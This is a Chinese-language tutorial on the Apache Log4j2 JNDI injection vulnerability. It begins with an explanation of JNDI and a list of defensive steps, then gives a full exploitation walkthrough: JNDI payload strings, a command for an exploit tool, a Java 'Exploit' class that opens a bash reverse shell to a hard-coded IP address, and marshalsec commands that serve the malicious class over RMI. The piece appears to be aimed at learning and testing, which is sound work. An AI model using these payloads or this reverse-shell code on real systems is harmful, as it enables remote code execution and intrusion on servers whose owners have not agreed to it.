跳至正文

Apache Log4j2漏洞原理与利用

简介

Apache log4j是Apache的一个开源项目,Apache log4j 2是一个就Java的日志记录工具。该工具重写了log4j框架,并且引入了大量丰富的特性。我们可以控制日志信息输送的目的地为控制台、文件、GUI组建等,通过定义每一条日志信息的级别,能够更加细致地控制日志的生成过程。

漏洞点

存在JNDI注入漏洞

* JNDI简介

JNDI (Java Naming and Directory Interface) 注入漏洞是一种存在于Java应用程序中的安全漏洞。JNDI是Java平台提供的一个API,用于在分布式应用程序中访问命名和目录服务。它允许应用程序使用统一的方式连接和操作各种不同的命名和目录服务,比如LDAP(轻量级目录访问协议)或者DNS(域名系统)。
JNDI注入漏洞是由于不正确地处理用户提供的数据,导致恶意攻击者可以注入恶意对象或者执行任意代码的安全漏洞。攻击者可以通过构造恶意的JNDI名称,将其传递给受影响的应用程序,在解析JNDI名称的过程中触发漏洞。一旦成功利用该漏洞,攻击者可以执行任意的Java代码,可能导致敏感信息泄露、远程命令执行以及其他恶意活动。
JNDI注入漏洞通常与使用JNDI来查找和连接远程资源相关的代码有关。攻击者可以利用这些功能,通过构造特殊的JNDI名称来触发漏洞。这些JNDI名称可以包含恶意的URL或者RMI(远程方法调用)服务器地址,导致应用程序尝试连接到攻击者控制的恶意服务器。
为了防止JNDI注入漏洞,开发人员应该采取以下几个关键步骤:

  1. 验证用户输入:确保在使用用户输入数据构造JNDI名称之前进行验证和过滤,以防止恶意输入的注入。
  2. 配置安全限制:限制应用程序的JNDI上下文的访问权限,并仔细评估和配置远程资源的访问权限。
  3. 使用安全的上下文:使用安全的InitialContext实例,以便在连接远程资源时应用适当的安全策略。
  4. 更新软件:及时更新和修补相关的Java库和框架,以确保应用程序使用的JNDI功能是最新和安全的版本。
    总结来说,JNDI注入漏洞是由于不正确地处理用户输入数据而导致的安全漏洞。开发人员应该谨慎处理用户输入,配置安全限制,并使用安全的上下文来防止此类漏洞的利用。及时更新软件也是保持应用程序安全的重要步骤。

漏洞范围

Apache Struts2
Apache Solr
Apache Druid
Apache Flink
srping-boot-strater-log4j2

Apache Log4j 2.0 ~ 2.15.0-rc1

漏洞测试

  • POC (替换dnslog)
${jndi:ldap://i44hiy.dnslog.cn}
${jndi:ldap://${sys:java.version}.ea05sp.dnslog.cn}
  • 工具利用(JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar)
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "command" -A <攻击机 ip>

*工具命令执行之后会生成poc,使用poc在浏览器中发送即可,亦可实现shell反弹。工具实现过程是:在攻击机上开启rmi/ladp服务==>创建恶意类文件==>返回rmi恶意类文件的poc。
目标机器访问恶意类文件会造成远程命令执行或shell反弹。

在攻击机上启动开启RMI/LADP服务

  • 构造恶意类
//javac Exploit.java
import java.lang.Runtime;
import java.lang.Process;
public class Exploit {
    public Exploit(){
        try{
            Runtime.getRuntime().exec("/bin/bash -c $@|bash 0 echo bash -i >&/dev/tcp/150.158.137.72/9998 0>&1");
        }catch(Exception e){
        e.printStackTrace();
        }
}
    public static void main(String[] argv){
        Exploit e = new Exploit();
    }
}
  • 编译恶意类文件
javac Exploit.java
  • maven(确保已安装)打包工具marshalsec成jar包(在含有pom.xml目录下执行命令)
mvn clean package -DskipTests
  • 使用工具启动RMI/LDAP(marshalsec)
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer
"http://150.158.137.72:8000/#Exploit" 9999

*这个工具是启动了RMI服务(9999)并挂载了恶意类文件exploit